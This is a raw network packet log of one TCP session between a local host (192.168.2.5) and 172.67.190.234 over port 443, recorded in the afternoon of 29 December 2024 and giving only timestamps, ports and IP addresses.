Dec 29, 2024 14:15:43.672529936 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.676158905 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.676175117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.676287889 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.676314116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.676506042 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.679373026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.679389000 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.679444075 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.679467916 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.679508924 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.683250904 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.683269978 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.683413982 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.683437109 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.683576107 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.686199903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.686216116 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.686290026 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.686302900 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.686348915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.690413952 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.690438986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.690499067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.690511942 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.690551996 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.693358898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.693393946 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.693444967 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.693464041 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.693473101 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.693500042 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.870767117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.870795965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.870965004 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.870981932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.871126890 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.873748064 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.873769045 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.873847008 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.873861074 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.873899937 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.877634048 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.877656937 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.877727032 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.877739906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.877778053 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.880820036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.880841970 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.880911112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.880923986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.880987883 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.884744883 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.884768009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.884828091 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.884840965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.884865046 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.884882927 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.887691021 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.887712955 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.887778997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.887788057 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.887828112 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.891592026 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.891609907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.891688108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.891695023 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.891732931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.894763947 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.894783020 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.894836903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:43.894845009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:43.894881964 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.071872950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.071897984 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.071960926 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.071974993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.072001934 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.072015047 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.075093985 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.075117111 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.075189114 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.075195074 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.075237036 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.078964949 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.078983068 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.079021931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.079026937 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.079057932 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.079076052 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.082217932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.082233906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.082293034 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.082299948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.082350016 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.086072922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.086102009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.086169958 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.086189032 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.086214066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.086230040 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.089051962 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.089073896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.089114904 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.089127064 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.089137077 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.089163065 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.092989922 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.093014956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.093046904 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.093060970 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.093080997 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.093096972 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.096215963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.096244097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.096295118 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.096307993 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.096326113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.096344948 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.273019075 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.273051977 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.273353100 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.273374081 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.273452044 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.276761055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.276778936 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.276866913 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.276875019 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.276913881 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.280680895 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.280699968 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.280771017 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.280778885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.280822039 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.283885956 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.283900976 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.283988953 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.283994913 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.284038067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.287851095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.287869930 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.287946939 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.287956953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.287997961 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.290704966 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.290720940 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.290798903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.290806055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.290846109 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.294625044 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.294641018 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.294723034 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.294729948 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.294755936 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.294774055 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.297847986 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.297863007 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.297926903 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.297935009 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.297974110 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.475199938 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.475265980 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.475415945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.475457907 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.475493908 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.475519896 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.478017092 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.478034019 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.478099108 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.478106022 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.478149891 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.481933117 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.481952906 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.482012033 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.482017994 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.482065916 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.485080957 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.485097885 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.485155106 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.485162973 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.485204935 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.489034891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.489053011 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.489239931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.489248037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.489304066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.491959095 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.491978884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.492048025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.492054939 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.492105007 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.495846987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.495863914 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.495948076 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.495954037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.496001959 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.499103069 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.499136925 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.499211073 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.499228954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.499248028 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.499284983 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.676903963 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.676929951 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.676985025 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.677000046 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.677031040 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.677042961 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.679423094 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.679440022 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.679493904 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.679498911 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.679538965 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.683264971 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.683281898 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.683356047 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.683362007 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.683408976 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.686485052 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.686502934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.686568022 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.686573982 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.686615944 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.690407038 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.690429926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.690491915 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.690499067 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.690526009 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.690538883 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.694031954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.694048882 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.694106102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.694112062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.694155931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.697299957 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.697336912 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.697376966 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.697387934 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.697411060 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.697428942 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.701210976 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.701256037 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.701293945 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.701307058 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.701339006 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.701353073 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.877618074 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.877652884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.877743006 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.877760887 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.877829075 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.880734921 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.880758047 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.880817890 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.880824089 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.880865097 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.884671926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.884691954 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.884748936 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.884754896 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.884793043 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.887840033 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.887860060 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.888052940 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.888057947 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.888098955 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.891777039 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.891791105 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.891854048 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.891859055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.891897917 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.895454884 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.895478964 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.895520926 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.895525932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.895551920 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.895566940 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.898628950 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.898644924 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.898696899 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.898700953 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.898749113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.902544975 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.902561903 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.902637005 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:44.902642012 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:44.902682066 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.078965902 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.078994036 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.079246044 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.079263926 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.079336882 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.082890987 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.082911015 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.082982063 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.082992077 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.083035946 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.086033106 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.086050034 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.086142063 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.086148977 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.086191893 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.089242935 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.089261055 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.089339018 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.089345932 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.089409113 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.093117952 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.093141079 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.093218088 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.093226910 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.093277931 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.096887112 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.096932888 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.096976042 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.096991062 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.097017050 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.097038031 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.100028992 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.100086927 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.100111961 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.100125074 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.100162029 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.100182056 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.103957891 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.104001045 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.104052067 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.104064941 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.104095936 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.104113102 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.280838013 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.280867100 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.280951977 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.280970097 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.281033993 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.283751965 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.283775091 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.283843040 CET	49860	443	192.168.2.5	172.67.190.234
Dec 29, 2024 14:15:45.283853054 CET	443	49860	172.67.190.234	192.168.2.5
Dec 29, 2024 14:15:45.283895969 CET	49860	443	192.168.2.5	172.67.190.234
